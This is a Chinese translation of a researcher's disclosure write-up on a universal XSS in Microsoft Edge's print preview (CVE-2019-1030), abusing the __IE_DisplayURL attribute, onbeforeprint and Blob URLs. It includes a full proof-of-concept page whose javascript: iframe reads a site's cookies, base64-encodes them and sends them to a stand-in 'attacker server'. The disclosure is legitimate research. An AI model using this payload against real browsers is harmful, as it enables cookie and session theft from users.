Edge浏览器中的Universal XSS
在各类XSS漏洞中,uXSS可以说是一种非常特殊的类别,它和浏览器或浏览器的插件有关,和具体网站无关。这就像你在所有的网站上都有一个非常有趣的XSS(某个浏览器下)。
在这篇文章中我将讲述在Edge浏览器中发现的这个uXSS。通常来说,uXSS与iframe元素或者URL有关,我从没想过我会通过print()
函数找到一个uXSS。
打印预览
先让我们讨论一下当Edge浏览器显示打印预览窗口时发生的事情。
我一直以为这只是一个屏幕截图再复制到画布上的技术,但实际上,你正在打印的网页会复制到一个临时位置,并重新渲染!
当我们在网页中执行print()
函数时,我们可以在Process Monitor中看到如下画面:
是的,Edge正在临时目录中创建一个文件,文件内容是我们试图打印页面的小改版本。让我们来对比一下。
原始页面:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{
window.print();
}
</script>
</body>
</html>
临时页面:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><meta
content="text/html; charset=utf-8" http-equiv=Content-Type>
<base HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <iframe src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></iframe>
<script>
qbutt.on click=e=>{
window.print();
}
</script>
</BODY></HTML>
从以上两个页面中我们可以发现一些不同。
Js语句会被实体编码,无法渲染。
IFRAME会指向一个本地文件,该文件包含原始引用页面
bing.com
的源代码。HTML元素现在有一个特殊的属性
__IE_DisplayURL
我做了一些关于第1点和第2点的测试,试图找出在编码之后仍然能生效的js语句。但事实证明,来自<script>
元素中的任何语句,不管有效无效,都不会执行。
而关于第2点,我能使用CSS的@media print{}
函数加上CSS选择器借助iframe的ref值提取出系统用户名。然而,这还不够好。
而这第3点正是本文最有趣的地方,这个属性一看就非常不寻常,我以前从未看过。所以我立刻查找了相关的文章,貌似Masato Kinugawa在这方面有些研究。
在学习了一段时间后,我发现打印预览内容和这个属性紧密相关,它指明了打印文档的来源(来自哪个网站)。这正好符合Edge使用file:
来打开文件这一行为。你会注意到此文档(在打印预览中)的所有请求行为与原始网站完全相同。
那么,我们怎么利用这个属性呢?
在打印预览中执行javascript
就像我之前说过的,任何来自script
标签的js语句都会被忽略。但如果是来自其他标记呢?我尝试了所有我能想到的语句,并最终有所发现。
由于我们一直在讨论打印功能,所以很自然想到了和打印相关的事件,最后找到了onbeforeprint
。利用它,我可以注入一个指向任何网站的iframe
,而且Edge不会将其转换为文件。在我注入一个包含javascript:
的iframe
后,发现js语句成功执行。
测试语句:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</script>
</body>
</html>
打印预览转换后:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><meta
content="text/html; charset=windows-1252" http-equiv=Content-Type>
<base HREF="http://q.leucosite.com/dl.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <div
id="qcontent"><iframe src="ja vasc ript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe></div>
<script>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</script>
</BODY></HTML>
结果:
但是,成功执行js语句并不意味着我们完成了所有任务。如前所述,由于__IE_DisplayURL
属性的存在,任何请求或API都会被视为来自于原始文档(无法攻击外部网站)。
真正的uXSS
在能执行js语句后,我们需要以某种方式用自定义的__IE_DisplayURL
来构建我们自己的“打印预览文档”,这样我们就能对任意网站发动uXSS攻击。
很快我发现Blob URL
可以做到这一点!为此,我制作了特殊的打印文档,其中的自定义属性指向我的目标网站(本例中为“bing.com”),并且它还包含一个javascript iframe
,就像在“bing.com”网站中执行一样。
插入的Js语句如下:
if (top.location.protocol == 'file:') {
setTimeout(function() {
top.location = URL.createobjectURL(new Blob([top.document.getElementById('qd').value], {
type: 'text/html'
}))
}, 1000)
}
其中top.document.getElementById('qd').value
就是指如下虚假打印文档:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><meta content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<base HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
现在,我可以看到网站cookie,并且已发送到某个服务器上。
现在让我来总结一下整体利用流程:
利用
onbeforeprint
,我插入一个iframe,它能打印之前触发我的js语句。调用
window.print()
进行初始化。Edge出现打印预览窗口,内容为我插入的js语句,并进行渲染。
这些js语句会创建了一个Blob URL,其中有我自定义的来自“bing.com”打印文档,并将顶部帧重定向到这个URL。
打印预览内容会误认为我的
Blob URL
的内容是一个合法的打印文档,并通过__IE_DisplayURL
属性将文档来源设置为bing.com
。这个虚假的打印文档现在包含另一个
javascript iframe
,它会显示bing.com
网站的cookie。uXSS成功实现!
PoC and Video
最后的PoC代码如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<head>
<style>iframe{width:300px;height:300px;}</style>
</head>
<body>
<!-- -----------------------------HTML for our blob------------------------------------ -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><me ta content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<base HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
</textarea>
<!-- ---------------------------------------------------------------------------- -->
<script>
var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.on beforeprint=function(e){
qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createobjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
}
window.print();
</script>
<style>
</style>
</body>
</html>
演示视频地址如下:
https://i.imgur.com/TYAQHp3.mp4
参考链接:
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1030
感谢你的阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://leucosite.com/Microsoft-Edge-uXSS/?q=
最新评论